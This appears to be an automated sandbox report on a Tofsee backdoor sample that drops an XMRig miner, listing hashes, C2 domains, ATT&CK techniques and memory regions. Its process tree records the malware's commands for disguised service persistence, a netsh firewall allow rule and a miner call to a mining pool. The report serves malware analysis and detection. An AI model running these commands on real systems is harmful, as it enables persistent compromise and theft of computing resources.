Analysis

  • max time kernel
    160s
  • max time network
    164s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    14-06-2022 23:37

General

  • Target

    11c51d37bf779c9bddd210822db13b3fb9df2e497be909e43ec6a548235b53fe.exe

  • Size

    249KB

  • MD5

    e0d28d1db02a603762ab733357c24c79

  • SHA1

    b1b2327235c673c43dfba6966579ed08bbfa2c3f

  • SHA256

    11c51d37bf779c9bddd210822db13b3fb9df2e497be909e43ec6a548235b53fe

  • SHA512

    5203a794802e9e1c4a274001456ecea190b59de03a6177666cb54064c3e5176143d6b2eceab5edd03299b03410c083565f8f458383a1bcf4139bbce7ad6f4975

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • suricata: ET MALWARE Observed DNS Query to bablosoft Domain (bablosoft .com)

    suricata: ET MALWARE Observed DNS Query to bablosoft Domain (bablosoft .com)

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\11c51d37bf779c9bddd210822db13b3fb9df2e497be909e43ec6a548235b53fe.exe
    "C:\Users\Admin\AppData\Local\Temp\11c51d37bf779c9bddd210822db13b3fb9df2e497be909e43ec6a548235b53fe.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4860
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\dhvmteh\
      2⤵
        PID:1612
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\zyczjpsp.exe" C:\Windows\SysWOW64\dhvmteh\
        2⤵
          PID:4024
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create dhvmteh binPath= "C:\Windows\SysWOW64\dhvmteh\zyczjpsp.exe /d\"C:\Users\Admin\AppData\Local\Temp\11c51d37bf779c9bddd210822db13b3fb9df2e497be909e43ec6a548235b53fe.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3412
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description dhvmteh "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4052
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start dhvmteh
          2⤵
          • Launches sc.exe
          PID:2136
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1756
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4860 -s 1252
          2⤵
          • Program crash
          PID:4676
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 4860 -ip 4860
        1⤵
          PID:1776
        • C:\Windows\SysWOW64\dhvmteh\zyczjpsp.exe
          C:\Windows\SysWOW64\dhvmteh\zyczjpsp.exe /d"C:\Users\Admin\AppData\Local\Temp\11c51d37bf779c9bddd210822db13b3fb9df2e497be909e43ec6a548235b53fe.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:688
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:428
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2840
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 688 -s 568
            2⤵
            • Program crash
            PID:1836
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 688 -ip 688
          1⤵
            PID:2752

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\zyczjpsp.exe
            Filesize

            12.0MB

            MD5

            5ce9de998d5b4ec02fec93b0ab17bab8

            SHA1

            0cdfd933826e642624e36c2096ab524931ca60bd

            SHA256

            95304aee7ec4ed0fd2df3da3fc539bf425251418e67c2d8389bcffe69b0a142f

            SHA512

            fd0b5f1cf03f635da8f486d68b1c42f1358b5ab8dfd6c16a409a094dcee5e24e5965bcae83835ce787094af16ca0d393fd0f8c75b74fa1098251af3a6592b627

          • C:\Windows\SysWOW64\dhvmteh\zyczjpsp.exe
            Filesize

            12.0MB

            MD5

            5ce9de998d5b4ec02fec93b0ab17bab8

            SHA1

            0cdfd933826e642624e36c2096ab524931ca60bd

            SHA256

            95304aee7ec4ed0fd2df3da3fc539bf425251418e67c2d8389bcffe69b0a142f

            SHA512

            fd0b5f1cf03f635da8f486d68b1c42f1358b5ab8dfd6c16a409a094dcee5e24e5965bcae83835ce787094af16ca0d393fd0f8c75b74fa1098251af3a6592b627

          • memory/428-153-0x0000000000870000-0x0000000000885000-memory.dmp
            Filesize

            84KB

          • memory/428-163-0x0000000002DE0000-0x0000000002DE5000-memory.dmp
            Filesize

            20KB

          • memory/428-154-0x0000000002A00000-0x0000000002C0F000-memory.dmp
            Filesize

            2.1MB

          • memory/428-144-0x0000000000870000-0x0000000000885000-memory.dmp
            Filesize

            84KB

          • memory/428-149-0x0000000000870000-0x0000000000885000-memory.dmp
            Filesize

            84KB

          • memory/428-169-0x00000000070D0000-0x00000000070D7000-memory.dmp
            Filesize

            28KB

          • memory/428-166-0x0000000007A40000-0x0000000007E4B000-memory.dmp
            Filesize

            4.0MB

          • memory/428-143-0x0000000000000000-mapping.dmp
          • memory/428-160-0x0000000002D10000-0x0000000002D20000-memory.dmp
            Filesize

            64KB

          • memory/428-157-0x0000000001DF0000-0x0000000001DF6000-memory.dmp
            Filesize

            24KB

          • memory/688-150-0x000000000086A000-0x0000000000878000-memory.dmp
            Filesize

            56KB

          • memory/688-145-0x000000000086A000-0x0000000000878000-memory.dmp
            Filesize

            56KB

          • memory/688-146-0x0000000000400000-0x000000000065A000-memory.dmp
            Filesize

            2.4MB

          • memory/1612-135-0x0000000000000000-mapping.dmp
          • memory/1756-141-0x0000000000000000-mapping.dmp
          • memory/2136-140-0x0000000000000000-mapping.dmp
          • memory/2840-178-0x0000000001200000-0x00000000012F1000-memory.dmp
            Filesize

            964KB

          • memory/2840-173-0x0000000001200000-0x00000000012F1000-memory.dmp
            Filesize

            964KB

          • memory/2840-172-0x0000000000000000-mapping.dmp
          • memory/3412-138-0x0000000000000000-mapping.dmp
          • memory/4024-136-0x0000000000000000-mapping.dmp
          • memory/4052-139-0x0000000000000000-mapping.dmp
          • memory/4860-133-0x000000000091D000-0x000000000092B000-memory.dmp
            Filesize

            56KB

          • memory/4860-131-0x00000000023A0000-0x00000000023B3000-memory.dmp
            Filesize

            76KB

          • memory/4860-134-0x00000000023A0000-0x00000000023B3000-memory.dmp
            Filesize

            76KB

          • memory/4860-132-0x0000000000400000-0x000000000065A000-memory.dmp
            Filesize

            2.4MB

          • memory/4860-130-0x000000000091D000-0x000000000092B000-memory.dmp
            Filesize

            56KB

          • memory/4860-152-0x0000000000400000-0x000000000065A000-memory.dmp
            Filesize

            2.4MB

          • memory/4860-151-0x000000000091D000-0x000000000092B000-memory.dmp
            Filesize

            56KB